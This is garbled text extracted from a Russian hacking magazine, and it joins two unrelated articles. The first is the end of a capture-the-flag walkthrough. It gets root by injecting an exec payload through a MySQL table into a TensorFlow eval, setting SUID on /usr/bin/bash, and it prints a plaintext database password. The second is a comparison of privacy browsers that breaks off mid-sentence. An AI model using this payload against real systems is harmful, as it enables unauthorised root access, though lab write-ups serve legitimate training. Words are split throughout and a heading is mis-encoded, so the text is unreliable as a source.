Стра ница адми нис тра тора

Ви дим тикет, где упо мина ются учет ные дан ные для SSH. Если их прос то ско- 
пиро вать, то авто ризо вать ся не получит ся. При чина в том, что на стра нице
некото рые сим волы отоб ража ются в вер хнем регис тре. Мы с этим стал- 
кивались при отправ ке сооб щений адми ну: вве ден ный текст авто мати чес ки
перево дил ся в вер хний регистр. Поэто му перехо дим к исходно му коду сай та
и копиру ем учет ные дан ные отту да.

Ис ходный код сай та

Под клю чаем ся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нам необ ходимо соб рать информа цию о сис теме. Я буду исполь- 
зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

На хос те акти вен Cron, запус кающий скрипт .• /home/diego/bot.py

Нас трой ки Cron

В спис ке откры тых пор тов видим работа ющие СУБД MySQL (порт 3306)
и веб-сер вер (порт 8080).

•

От кры тые локаль ные пор ты

В нас трой ках sudoers для поль зовате ля  есть запись. Мы можем
запус тить скрипт  от име ни поль- 
зовате ля root.

• diego

/opt/security/ml_security.py

Нас трой ки судо ера

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Скрипт ока зал ся боль шим, поэто му я ско пиро вал его на локаль ную машину
и открыл в VS Code. Пер вым делом про бега емся по коду и копиру ем важ ные
дан ные, к при меру учет ку для под клю чения к базе дан ных.

Фраг мент кода ml_security.py

За тем видим под счет каких-то зна чений (спа сибо ком мента риям), про вер ку
ито гово го зна чения, рас счи тан ного на осно ве шес ти пред став ленных,
и выпол нение фун кции .preprocess_input_exprs_arg_string

Фраг мент кода ml_security.py

Сре ди импортов находим модуль , к которо му отно сит ся фун кция.tensorflow

Им порты модулей скрип та

Раз бира ясь с най ден ной фун кци ей, я нашел , где рас ска зано о выпол- 
нении кода через  внут ри , если
ее вто рой аргу мент .

статью
eval preprocess_input_exprs_arg_string
safe=False

Фраг мент исходно го кода фун кции preprocess_input_exprs_arg_string

Та ким обра зом, из таб лицы  извле кают ся дан ные, которые переда- 
ются в фун кции вида , а затем в фун кцию

, где про изой дет их выпол нение
как кода. Давай под клю чим ся к базе дан ных и запишем в таб лицу 
такую наг рузку:

escalate
loaded_model*.predict()

preprocess_input_exprs_arg_string
escalate

r=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")

Она уста новит SUID для фай ла коман дной обо лоч ки ./bin/bash

 app  mysql -D -udiego -p'dCb#1!x0%gjq'

    insert into escalate values ("1","1","1",'r=exec("""import os; os.
system("chmod +s /usr/bin/bash")""")');

А теперь запус тим скрипт c sudo и про верим пра ва на файл ./bin/bash

Ре зуль тат выпол нения ml_security.py

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Обо лоч ка  теперь будет запус кать ся от име ни поль зовате ля ./bin/bash root

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://habr.com/ru/company/alconost/blog/416255/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/advisories/GHSA-75c9-jrh4-79mc
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ПРИВАТНОСТЬ

Бра узе ры собира ют мно го информа ции
о поль зовате лях и отсле жива ют их
активность в интерне те. Что бы это му
помешать, сущес тву ют спе циаль ные при- 
ват ные бра узе ры, приз ванные блюс ти твою
кон фиден циаль ность, бло киро вать тре кинг
и рек ламу. Сегод ня мы рас смот рим и срав- 
ним семь таких прог рамм в акту аль ных вер- 
сиях 2023 года, а затем выберем луч шие
из них.

Ес ли тебе кажет ся, что за тобой сле дят, воз можно, тебе не кажет ся. Сай ты,
которые мы посеща ем, собира ют боль шой объ ем информа ции о кон фигура- 
ции нашего компь юте ра, мобиль ного телефо на или план шета, а так же
об исполь зуемом прог рам мном обес печении. Интернет-ресур сы не толь ко
уста нав лива ют фай лы cookies, но и могут опре делить твою геоло кацию, IP-
адрес, наз вание про вай дера, вер сию и язы ковые нас трой ки опе раци онной
сис темы, бра узе ра, локаль ное вре мя, тип и ско рость под клю чения к интерне- 
ту. А так же узнать, какие про токо лы под держи вает бра узер, какие пла гины
в нем исполь зуют ся, вклю чен ли JavaScript, име ет ли устрой ство встро енную
камеру, гирос коп, и соб рать мно жес тво дру гих све дений.

На осно ве всей этой информа ции мож но сос тавить уни каль ный иден- 
тифика тор каж дого работа юще го в интерне те устрой ства — browser
ngerprint. Даже поменяв одну или нес коль ко нас тро ек в сис теме, невоз- 
можно изме нить сам иден тифика тор, пос коль ку он исполь зует сра зу мно жес- 
тво парамет ров. Тебя все рав но узна ют, если захотят.

Кро ме того, движ ки раз ных бра узе ров нем ного по-раз ному отоб ража ют
шриф ты и отдель ные гли фы Unicode. Срав нивая запол ненные тек стом HTML-
эле мен ты на прос матри ваемых в бра узе ре веб-стра ницах и фор мы букв
по умол чанию в сло варе извес тных гар нитур, мож но сос тавить шриф товые
отпе чат ки, font ngerprint. Эти отпе чат ки помога ют сай там опоз нать любой
бра узер, и твой — тоже!

Ча ще все го такую иден тифика цию исполь зуют, что бы показы вать рек ламу.
Зву чит доволь но безобид но, но, как говорит ся, есть нюан сы. Так, в 2014 году
иссле дова тель Алек сандр Коган по заказу ком пании Cambridge Analytica раз- 
работал при ложе ние под наз вани ем This is Your Digital Life для опро са поль- 
зовате лей Facebook. Нес мотря на то что в опро се при няло учас тие нез- 
начитель ное чис ло поль зовате лей, при ложе ние смог ло получить дос туп
не толь ко к про фай лам учас тни ков, но и к стра ницам всех, кто при сутс тво вал
в спис ке их дру зей. Таким обра зом были соб раны дан ные при мер но
о 80 мил лионах аме рикан цев — вклю чая све дения об их геоло кации, род ном
городе, дате рож дения, лай ках пос тов, инте ресах, онлайн-активнос ти, пред- 
почте ниях, родс твен ных свя зях. Разуме ется, без ведома и сог ласия поль-
зовате лей.

В наши дни, ког да даже неос торож ный лайк чужого пос та может иметь
самые неп рият ные пос ледс твия, делить ся с окру жающим миром таким объ- 
емом дан ных — неоп равдан ный риск. Сле дова тель но, нуж но исполь зовать
спе циаль ные бра узе ры, ори енти рован ные на повышен ную кон фиден циаль- 
ность и безопас ность. Одним из самых безопас ных и защищен ных счи тает ся
Tor Browser. Но эта прог рамма пред назна чена не столь ко для защиты кон- 
фиден циаль нос ти поль зовате ля в интерне те, сколь ко для прос мотра содер- 
жимого Дар кне та и для сер финга в onion-сети. Поэто му его мы как раз под- 
робно изу чать не будем.

Су щес тву ет нес коль ко аль тер натив ных бра узе ров, соз данных для защиты
кон фиден циаль нос ти и ано ним ности в интерне те. Давай рас смот рим самые
извес тные из них и срав ним их воз можнос ти. Для оцен ки информа ции,
которой эти бра узе ры делят ся с окру жающим миром, мы будем исполь зовать
сайт . Для прос мотра тра фика — бес плат ную 

, которая поз воля ет наг лядно отсле живать соеди нения кон крет ных
при ложе ний. Бра узе ры мы будем запус кать в кон фигура ции по умол чанию,
не меняя никаких нас тро ек.

BrowserLeaks прог рамму
Portmaster

BRAVE

Сайт: • brave.com
Дви жок: Chromium•
Ис ходный код: откры тый•
Пер вый выпуск: 2019 год•
Вер сии: Windows, Linux, Android, iOS и macOS (в том чис ле, ARM-based)•

Бра узер Brave базиру ется на Chromium и обла дает откры тым исходным
кодом. С точ ки зре ния безопас ности это мож но отнести к дос тоинс твам, пос- 
коль ку любой человек, вла деющий язы ками прог рамми рова ния, может изу- 
чить код прог раммы и убе дить ся, что зак ладок и дру гих потен циаль но опас- 
ных фун кций тут нет.

В качес тве базово го движ ка в Brave исполь зует ся Blink, в качес тве движ ка
JavaScript — V8, а в вер сии для iOS при меня ется WebKit от Apple. Этот бра- 
узер раз рабаты вает аме рикан ская ком пания Brave Software, Inc.
из Сан-Фран циско. Сущес тву ют вер сии для Windows, Linux, Android, iOS
и macOS (в том чис ле ARM-based). Пер вая вер сия это го бра узе ра появи лась
на свет отно ситель но недав но — 13 нояб ря 2019 года. Раз работ чики утвер- 
жда ют, что даже с нас трой ками по умол чанию Brave эффектив но бло киру ет
рек ламу, пре дот вра щает тре кинг, а в режиме Safe Browsing не ведет жур налы
и не хра нит IP-адрес.

При пер вом запус ке Brave пред лага ет бло киро вать при ем cookies,
это повыша ет безопас ность сер финга. Если нажать кноп ку в пра вом вер хнем
углу окна и выб рать в меню пункт Settings, откро ется экран нас тро ек.
Парамет ры при ват ности соб раны на вклад ке Sheilds.

Нас трой ки при ват ности Brave

Здесь мож но отклю чить авто детек тирова ние Accelerated Mobile Pages —
стра ниц для уско рен ной заг рузки мобиль ного кон тента, защиту
от ngerprinting и редирект, который не поз воля ет рек ламным пло щад кам
отсле живать бра узер.

Ни же рас положе но меню, поз воля ющее выб рать сте пень обес печения
при ват ности для бло киров ки рек ламы и тре керов: Standard (это зна чение
по умол чанию), Agressive или Disabled. Тут же мож но отклю чить все скрип ты
и вклю чить бло киров ку cookies. Давай выберем режим Trackers & ads
blocking — Agressive.

Ес ли нажать Content Filtering, откро ется спи сок филь тров, с исполь зовани- 
ем которых Brave бло киру ет рек ламу и тре керы. Что бы прос мотреть весь
перечень, наж ми Show full list. По умол чанию вклю чено толь ко десять филь- 
тров, но их гораз до боль ше. Мож но вклю чить все, одна ко учти, что чем боль- 
ше филь тров, тем боль ше кон тента будет бло киро вать ся, в резуль тате чего ты
можешь не уви деть на сай тах что-то полез ное.

Обыч но бра узе ры хра нят информа цию о том, в какие соци аль ные сети ты
залоги нен, и отда ют ее кому угод но по пер вому тре бова нию. Что бы вык- 
лючить эту фун кцию, открой вклад ку Social media blocking. По умол чанию там
пред лага ется на выбор Google, Twitter, Facebook, а показ дан ных из LinkedIn
почему-то вклю чен. Мож но отклю чить его, если ты не хочешь, что бы тебе
писали HR из ком паний Ило на Мас ка.

На вклад ке Search engine мож но выб рать поис ковую сис тему, которая
будет исполь зовать ся в Brave по умол чанию. Google жела ет знать очень мно- 
гое о поль зовате лях, отсле жива ет их зап росы, нажатия на ссыл ки и фик сиру ет
переме щения по сай там, где уста нов лены рек ламные скрип ты Google Ads,
поэто му в целях безопас ности мож но выб рать поис ковик DuckDuckGo.

Сайт BrowserLeaks показы вает, что по умол чанию в Brave вклю чена под- 
дер жка JavaScript и WebGL (это один из интерфей сов JavaScript для отоб- 
ражения 3D-гра фики, который поз воля ет некото рым сай там опре делять тип
гра фичес кого адап тера на тво ем устрой стве), поэто му бра узер охот но
переда ет текущие парамет ры опе раци онной сис темы и обо рудо вания, вклю- 
чая наличие мик рофона и камеры. Так же он поз воля ет сни мать циф ровые
отпе чат ки c исполь зовани ем Canvas API и font ngerprinting. Это небезо пас но,
но обыч ные бра узе ры оставля ют в сети еще боль ше поль зователь ских дан- 
ных.

При этом BrowserLeaks показы вает, что в бра узе ре работа ют кон тен тные
филь тры, бло киру ющие рек ламу и тре кинг: все го таких филь тров нас читыва- 
ется десять (в основном исполь зует ся uBlock). Это озна чает, что прог рамма
дей стви тель но меша ет рек ламным сетям собирать дан ные.

Кон тен тные филь тры в Brave

Тем не менее наш IP-адрес и мес тополо жение сайт BrowserLeaks опре делил
дос таточ но точ но, а это небезо пас но. Но на этот слу чай у Brave есть
еще одна отличная фиш ка, которой нет у дру гих при ват ных бра узе ров! Если
щел кнуть на кноп ке в пра вой час ти инс тру мен таль ной панели бра узе ра и выб- 
рать в открыв шемся меню пункт New Private Window with Tor, откро ется новое
окно бра узе ра, соеди нение в котором будет уста нов лено через Tor Network.

Ре жим Tor в Brave

Ес ли мы откро ем в этом окне сайт BrowserLeaks, то уви дим, что наш IP-адрес
и геоло кация изме нились. Это поз воля ет скры вать реаль ное мес тополо- 
жение без исполь зования VPN. Прав да, BrowserLeaks сумел опре делить, что
новый IP-адрес при над лежит выход ной ноде сети Tor. Некото рые сай ты бло- 
киру ют дос туп поль зовате лям Tor-сети, это нуж но учи тывать.

В этом окне мож но не толь ко ано ним но прос матри вать обыч ные сай ты, но и
обра щать ся к ресур сам Дар кне та, рас положен ным в зоне .onion. Теперь нам
не нуж но два раз ных бра узе ра — один для при ват ного прос мотра обыч ных
сай тов, а дру гой для сер финга по Дар кне ту. Дос таточ но одно го Brave.

Пос мотрим с помощью Portmaster, какие соеди нения ини циирует бра узер
Brave. Он регуляр но обра щает ся к сер верам обновле ний brave.com, а так же
исполь зует собс твен ные DNS-сер веры для обра бот ки зап росов, помимо
DNS-сер веров, ука зан ных в нас трой ках соеди нения. Никаких дру гих подоз- 
ритель ных зап росов бра узер не отправ ляет. Так же Portmaster показы вает, что
для навига ции в сети Tor бра узер Brave исполь зует встро енный 32-бит ный
дви жок Tor 0.4.7.13, который работа ет в том чис ле в 64-раз рядной сис теме.
Это акту аль ная вер сия, выпущен ная в текущем месяце, то есть в этом движ ке
устра нены все извес тные уяз вимос ти и этот дви жок обес печива ет дос таточ- 
ный уро вень безопас ности.

Brave в Portmaster

Та ким обра зом, Brave может заменить сра зу два бра узе ра — обыч ный
для при ват ного прос мотра сай тов в интерне те и Tor Browser для прос мотра
ресур сов в зоне .onion. По ощу щени ям бра узер работа ет доволь но быс тро,
хотя в режиме Private Window with Tor веб-стра ницы откры вают ся доль ше
из-за перенап равле ния тра фика через Tor Network.

Продолжение статьи →
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https://safing.io/
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EPIC

Сайт: • epicbrowser.com
Дви жок: Chromium•
Ис ходный код: зак рытый•
Пер вый выпуск: 2013 год•
Вер сии: Windows, macOS, Android•

Бра узер, как и Brave, базиру ется на Chromium, но это ком мерчес кий про дукт
с зак рытым исходным кодом. Его раз рабаты вает с 2013 года ком пания
Hidden Reex из Индии. В Epic по умол чанию вклю чена ком плексная бло- 
киров ка рек ламы, он не сох раня ет исто рию прос мотра веб-стра ниц. Так же
в нем пре дус мотре на защита от сбо ра отпе чат ков бра узе ра и бло киров ка
авто запол нения форм — дан ные, которые ты вво дишь в поля форм
на веб-стра ницах, не сох раня ются в бра узе ре. Кро ме того, в нас трой ках Epic
мож но вклю чить прок си-сер вер, что бы скрыть твое мес тополо жение. Epic
бло киру ет cookies и tracking, не поз воляя сай там отсле живать чувс тви тель ные
парамет ры бра узе ра и собирать дан ные для показа рек ламы. Име ются вер- 
сии бра узе ра для Windows, macOS и Android.

Ин терес ная осо бен ность Epic в том, что он поз воля ет изме нить нас трой ки
при ват ности для каж дого отдель ного сай та, и этих нас тро ек очень мно го.
Что бы нас тро ить при ват ность, открой сайт, наж ми кноп ку с зон тиком, а потом
над пись View site settings.

Epic поз воля ет изме нить нас трой ки при ват ности для каж дого сай та

Мы можем заб локиро вать для сай та, откры того в дан ный момент в окне бра- 
узе ра, геоло кацию, зап ретить ему опре делять, име ется ли на нашем компь- 
юте ре камера, мик рофон, сен соры. Мож но вклю чить или отклю чить для это го
сай та JavaScript, заг рузку кар тинок, бло киров ку рек ламы. Это очень удоб но,
если при работе в интерне те нам нужен JavaScript или антитре кинг меша ет
авто риза ции, но на каких-то сай тах мы хотим его оста вить.

Да вай вклю чим в Epic режим Encrypted Proxy, зай дем на сайт BrowserLeaks
и пос мотрим, что получи лось.

Epic в режиме Encrypted Proxy

От лично, у нас изме нил ся IP-адрес и BrowserLeaks не смог кор рек тно опре- 
делить нашу геопо зицию. Теперь мы в городе Ашберн, округ Лаудон, штат
Вир гиния. Мож но посетить Ashburn Park. Инте рес но, там раз реша ют кор мить
белок?

Что бы изме нить гло баль ные нас трой ки Epic, наж ми кноп ку в пра вой час ти
инс тру мен таль ной панели и выбери Settings. Все нас трой ки здесь такие же,
как в обыч ном Chrome, и находят ся на при выч ных мес тах. Нап ример, тут мож- 
но нас тро ить при ем фай лов cookies, очис тить исто рию прос мотра. В раз деле
Security and Privacy — выб рать дан ные, которы ми бра узер будет делить ся
с сай тами в интерне те, а в раз деле Site Settings — отклю чить геопо зици они- 
рова ние сра зу для всех сай тов.

Те перь пос мотрим с помощью Portmaster, какие соеди нения уста нав лива- 
ет бра узер Epic.

Epic в Portmaster

Бра узер активно обща ется со слу жеб ным доменом 
с исполь зовани ем тех нологии Safe Privacy Network. Если пос мотреть на эти
пакеты в Wireshark, то мож но уви деть, что Epic регуляр но «отсту кива ется» сво- 
им раз работ чикам, а переда ваемые им через Safe Privacy Network дан ные
зашиф рованы. По всей видимос ти, Epic Browser переда ет в ком панию Hidden
Reex некую телемет рию.

theepicbrowser.com

В Epic есть еще одна инте рес ная фун кция, которую раз работ чики рек- 
ламиру ют при пер вом запус ке прог раммы, — Epic Video Downloader. Если
ты — пират… ой, то есть любитель видео или музыки, с помощью этой фун- 
кции мож но ска чивать ролики с сай тов пря мо на твой компь ютер. Поп робу ем
сде лать это и нач нем, пожалуй, с YouTube. Я нашел отличное видео с желез- 
ными тет ками, пос вящен ное игре Atomic Heart. Откры ваем Video Downloader,
копиру ем URL... Epic Fail!

Epic Fail

Окей, воз можно, Google защища ет свои видео. На вся кий слу чай про верим
нас трой ки бра узе ра: Proxy вык лючен, JavaScript вклю чен. Поп робу ем сде лать
то же самое на Vimeo. Сно ва Epic Fail!

Epic Fail

Бе зус ловно, фун кция ска чива ния видео — очень полез ная шту ка. Жал ко, что
она почему-то не работа ет, по край ней мере на самых популяр ных виде охос- 
тингах. В целом мож но ска зать, что Epic Browser обес печива ет защиту от тре- 
кин га и рек ламы, а Encrypted Proxy — полез ный инс тру мент для повыше ния
при ват ности, поз воля ющий скрыть реаль ный IP-адрес. Но если ты стра даешь
параной ей, зак рытый исходный код может пре под нести сюр при зы.

AVAST SECURE BROWSER

Сайт: • avast.com/secure-browser
Дви жок: Chromium•
Ис ходный код: зак рытый•
Пер вый выпуск: 2016 год•
Вер сии: Windows, macOS, iOS, Android•

Это «безопас ный» бра узер от ком пании Avast Software — про изво дите ля
одно имен ной анти вирус ной прог раммы. Он так же осно ван на Chromium,
сущес тву ют вер сии для Windows, macOS, iOS и Android.

Пер вая вер сия это го бра узе ра была выпуще на в 2016 году. Прав да, изна- 
чаль но он называл ся SafeZone и вхо дил в ком плект пос тавки плат ной вер сии
анти виру са Avast, но поз же стал дос тупен для заг рузки всем жела ющим.
Всем, кро ме жителей Рос сии и Белорус сии, — если ты попыта ешь ся ска чать
бра узер на тер ритории этих стран, ничего не получит ся. Зато с исполь- 
зовани ем прок си или VPN никаких проб лем со ска чива нием не воз ника ет.

Бра узер под держи вает фун кции Anti-tracking и Anti-ngerprinting, что,
по утвер жде нию раз работ чиков, зат рудня ет иден тифика цию и отсле жива ние
поль зовате лей. Avast Browser так же осно ван на Chromium и име ет зак рытый
исходный код. Его интерфейс зна ком всем, кто исполь зует Google Chrome,
но в отли чие от обыч ного Chrome Avast Browser име ет нес коль ко допол- 
нитель ных кно пок. Нап ример, Privacy Guard — в этом окне мож но вклю чить
защиту от тре кин га и рек ламы на текущем сай те.

Кноп ка Extensions для управле ния пла гина ми стан дар тная для Chrome.
А вот кноп ка Security & Privacy Center откры вает нас трой ки при ват ности это го
бра узе ра. Здесь мож но вклю чить или отклю чить Privacy Guard и Web Shield —
веб-анти вирус, который защища ет поль зовате ля от перехо да на фей ковые
и фишин говые сай ты. Здесь же мож но вык лючить Password Manager, который
сох раня ет в бра узе ре вво димые на сай тах пароли в зашиф рован ном виде
и поз воля ет логинить ся в один клик.

Нас трой ки Avast Secure Browser

По умол чанию Privacy Guard нас тро ен на режим Basic Blocking. Но мы хотим
боль ше при ват ности! Наж мем кноп ку Privacy Guard, а затем над пись Privacy
Guard Settings, что бы изме нить нас трой ки. Выбира ем режим Strict Blocking,
что бы пол ностью бло киро вать ngerprinting, тре кинг, рек ламу и отсле жива ние
со сто роны сай тов и соци аль ных сетей... Упс!

Avast Secure Browser

Бра узер сооб щает нам, что сот рудни ки Avast очень хотят кушать, поэто му
некото рую рек ламу и вся кие шпи онские шту ки от их пар тне ров бра узер
все-таки будет про пус кать. Ины ми сло вами, защита тво ей кон фиден циаль- 
нос ти бра узе ром Avast закан чива ется при мер но там, где эту самую кон- 
фиден циаль ность мож но выгод но про дать. Ничего лич ного, прос то биз нес!

Лад но, положим, без пол ноцен ной защиты мы как-нибудь обой дем ся,
но давай хотя бы поп робу ем скрыть наше реаль ное мес тополо жение
с помощью Protected VPN — встро енно го прок си, который пред лага ет нам
Avast. Поп робу ем вклю чить его... Ой, а что это?

Avast хочет денюж ку!

Ока зыва ется, это плат ная фун кция, но нам пред лага ют 30-днев ный бес плат- 
ный три ал. Прав да, что бы вос поль зовать ся этой уни каль ной и не име ющей
ана логов воз можностью, нуж но ввес ти дан ные бан ков ской кар ты или при бег- 
нуть к PayPal. Кажет ся, кто-то что-то говорил про при ват ность?

Пе рей дем в Security & Privacy Center и откро ем окно при ват ного прос- 
мотра: Private Mode — Launch Window. Теперь откро ем в этом при ват ном окне
сайт BrowserLeaks. В целом никаких сюр при зов: бра узер переда ет тот же
объ ем дан ных, что и любой дру гой бра узер с вклю чен ным JavaScript. IP-адрес
опре деля ется, переда чу дан ных геоло кации мож но заб локиро вать во всплы- 
вающем окне.

Avast в окне BrowserLeaks

Ес ли мы пос мотрим на тра фик Avast Secure Browser в при ложе нии Portmaster,
то заметим мно гочис ленные обра щения к сер верам Avast. По всей видимос- 
ти, бра узер собира ет ста тис тику.

Avast в Portmaster

В целом мож но ска зать, что Avast Secure Browser име ет все те же фун кции,
что пред лага ют дру гие бес плат ные при ват ные бра узе ры. Но некото рые
из них — за день ги.

COMODO DRAGON

Сайт: • comodo.com
Дви жок: Chromium/Firefox•
Ис ходный код: зак рытый•
Пер вый выпуск: 2010 год•
Вер сии: Windows•

Еще один бра узер от про изво дите ля анти вирус ной прог раммы — ком пании
Comodo Group. Он пред лага ется в четырех вер сиях: Comodo Dragon на осно- 
ве Chromium и Ice Comodo Dragon на осно ве Firefox, каж дая вер сия есть в 32-
бит ном и 64-бит ном вари антах. Я решил уста новить 64-раз рядную вер сию
Comodo Dragon на осно ве Chromium.

Comodo Dragon исполь зует собс твен ные DNS-сер веры Comodo вмес то
сер веров про вай дера поль зовате ля, что повыша ет безопас ность и кон- 
фиден циаль ность. При уста нов ке мож но выб рать, будешь ли ты исполь зовать
DNS-сер веры сво его про вай дера или DNS-сер веры Comodo и как имен но —
пос тоян но на всех соеди нени ях или толь ко при запус ке это го бра узе ра.

Во вре мя прос мотра веб-сай тов по про токо лу HTTPS Comodo Dragon допол- 
нитель но про веря ет SSL-сер тифика ты с исполь зовани ем собс твен ного сер- 
виса и пре дуп режда ет поль зовате ля, если сер тификат недос таточ но
надежен.

Кро ме того, в Comodo интегри рован собс твен ный анти вирус ный дви жок,
про веря ющий наличие вре донос ного кода на сай тах. Нес мотря на то что
Comodo Dragon не переда ет никакую информа цию сер висам Google, он
отсле жива ет поведе ние поль зовате ля и отправ ляет эти дан ные собс твен ным
служ бам Comodo Group, о чем сооб щает ся в лицен зион ном сог лашении.
Еще там ука зано, что IP-адрес поль зовате ля счи тает ся кон фиден циаль ной
информа цией толь ко на тер ритории Калифор нии, поэто му бра узер соз дает
фай лы жур налов, которые отсле жива ют юзе ров, иден тифици руемых
с помощью cookies пов семес тно или IP-адре сов за пре дела ми Калифор нии.
Так же лицен зион ное сог лашение поз воля ет Comodo Group рас кры вать соб- 
ранные дан ные сво им аффи лиро ван ным лицам и деловым пар тне рам.

Ес ли открыть в бра узе ре сайт BrowserLeaks, мы уви дим, что по умол чанию
Comodo Dragon бло киру ет точ ное опре деле ние геопо зиции.

Comodo Dragon

Portmaster фик сиру ет регуляр ные обра щения бра узе ра к собс твен ному сер- 
веру , по всей видимос ти — что бы передать телемет рию и про чие
дан ные о поведе нии поль зовате ля. Тем не менее зна читель ная часть соеди- 
нений с извес тны ми рек ламны ми сер висами и сис темами тре кин га дей стви- 
тель но бло киру ется. Нес мотря на то что бра узер базиру ется на откры том
про екте Chromium, исходный код самого Comodo Dragon зак рыт.

comodo.com

Comodo Dragon в Portmaster

Comodo Dragon бло киру ет рек ламу, тре кинг, исполь зует встро енные анти- 
вирус ные фун кции, но, пос коль ку это про дукт с зак рытым исходным кодом,
соз данный ком мерчес кой ком пани ей, ник то дос товер но не зна ет, что у него
спря тано под капотом.

Продолжение статьи →

https://www.epicbrowser.com/
https://www.avast.com/secure-browser
http://www.comodo.com/home/browsers-toolbars/browser.php
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WATERFOX

Сайт: • waterfox.net
Дви жок: Firefox•
Ис ходный код: откры тый•
Пер вый выпуск: 2011 год•
Вер сии: Windows, macOS, Linux•

В отли чие от всех рас смот ренных бра узе ров, Waterfox осно ван не на
Chromium, а на Firefox, поэто му он может пон равить ся тем, кто при вык имен но
к это му бра узе ру.

В вер сии для Windows этот бра узер име ет 64-бит ную архи тек туру. Прог- 
рамма уста нов ки пред лага ет стан дар тный (standard) и поль зователь ский
(custom) режимы, в пос леднем мож но выб рать пап ку для уста нов ки, ука зать,
где сле дует раз мещать знач ки бра узе ра… и всё. Не слиш ком мно го нас тро ек!

Внеш не этот бра узер очень похож на Firefox, сущес твен ных отли чий
в интерфей се нет. Окно с нас трой ками тоже в точ ности такое же, раз ве что
вмес то вклад ки More from Mozilla здесь име ется вклад ка Look and Feel. Самая
инте рес ная для нас вклад ка — Privacy & Security — так же не отли чает ся
от такой в стан дар тном Firefox, все нас трой ки находят ся на сво их при выч ных
мес тах. Никаких допол нитель ных или осо бых опций, свя зан ных с при ват- 
ностью, здесь нет.

Waterfox на GitHub

Ис ходные коды Waterfox мож но най ти на GitHub. Сей час этот про ект нас- 
читыва ет более 4700 учас тни ков (contributors), что доволь но мно го. Хотя
в 2011 году его раз вити ем занимал ся все го один человек — Алекс Кон тос,
которо му на тот момент было 16 лет. В 2019 году пра ва на Waterfox при обре- 
ло рек ламное агентство System1.

На сай те BrowserLeaks Waterfox показы вает в целом такие же резуль таты,
как и обыч ный Firefox. При меча тель но, что он опоз нает бра узер как Firefox
вер сии 102.0, в то вре мя как акту аль ная вер сия натив ного Firefox — 111.0.
Это озна чает, что редак ция лежаще го в осно ве Waterfox бра узе ра слег ка
уста рела, хотя и не слиш ком.

Waterfox опре деля ется в BrowserLeaks как Firefox 102.0

Раз работ чики утвер жда ют, что Waterfox бло киру ет тре кинг и пре пятс тву ет
показу рек ламы на прос матри ваемых в бра узе ре сай тах. Но если пос мотреть
на соеди нения это го бра узе ра в Portmaster при откры тии тех же веб-стра ниц,
что и в дру гих бра узе рах, мы уви дим мно жес тво соеди нений с сер верами ста- 
тис тики Google (вро де gstatic.com и googletagmanager.com) и дру гими сер- 
висами для сбо ра дан ных. По умол чанию Waterfox их не бло киру ет.

Waterfox не бло киру ет мно гие подоз ритель ные соеди нения

Впро чем, бло киров ка рек ламы в сочета нии с тем, что этот бра узер при над- 
лежит рек ламно му агентству, зву чит нес коль ко стран но, не прав да ли? Пос- 
коль ку Waterfox осно ван на Firefox, на него мож но уста новить все пла гины
от Mozilla, в том чис ле повыша ющие при ват ность, бло киру ющие рек ламу
и под клю чающие прок си. Но все то же самое мож но сде лать и с обыч ным
Firefox.

IRON

Сайт: • srware.net/iron/
Дви жок: Chromium•
Ис ходный код: зак рытый•
Пер вый выпуск: 2008 год•
Вер сии: Windows, macOS, Linux, Android•

Iron — бра узер, раз рабаты ваемый гер ман ской фир мой SRWare на осно ве
исходни ков Chromium. Для Windows дос тупны 32-раз рядная и 64-раз рядная
вер сии, интерфейс переве ден на мно жес тво язы ков, в том чис ле и на рус- 
ский.

Про ект Iron появил ся в 2008 году как попыт ка соз дать такой ана лог
Chrome, который в отли чие от ори гина ла не будет делить ся телемет рией
и про чими дан ными с ком пани ей Google. Сов ремен ная вер сия Iron содер жит
так же встро енный бло киров щик рек ламы. Важ ное отли чие от Chrome зак- 
люча ется еще и в том, что в этом бра узе ре отсутс тву ет Google Updater.
С одной сто роны, это эко номит тра фик и ресур сы машины, пос коль ку в фоне
не бол тает ся еще одна запущен ная прог рамма. С дру гой — в Iron нет авто- 
мати чес кого обновле ния, все апдей ты нуж но заг ружать с сай та и уста нав- 
ливать вруч ную.

Iron исполь зует собс твен ные безопас ные DNS-сер веры (Secure DNS
Resolver), с помощью которых он выпол няет филь тра цию рек ламы и небезо- 
пас ного кон тента.

Ра бота ет бра узер на удив ление быс тро: скла дыва ется ощу щение, что
веб-стра ницы откры вают ся даже быс трее, чем в обыч ном Chrome. При этом
бра узер с нас трой ками по умол чанию рас кры вает IP-адрес поль зовате ля
и мес тополо жение. В панели инс тру мен тов есть ссыл ка Anomymous VPN,
которая ведет на сайт SRWare, но под клю чить эту услу гу пред лага ют плат но.

Пос ле уста нов ки бра узе ра на рабочем сто ле появ ляет ся зна чок Iron Cong
and Backup — кон фигура тор бра узе ра. Что бы вос поль зовать ся этой фун кци- 
ей, нуж но зак рыть все откры тые ранее окна Iron.

Фла жок Enable extended Privacy на вклад ке Conguration бло киру ет некото- 
рые исхо дящие зап росы к сай там, нап ример зап росы на обновле ния кон- 
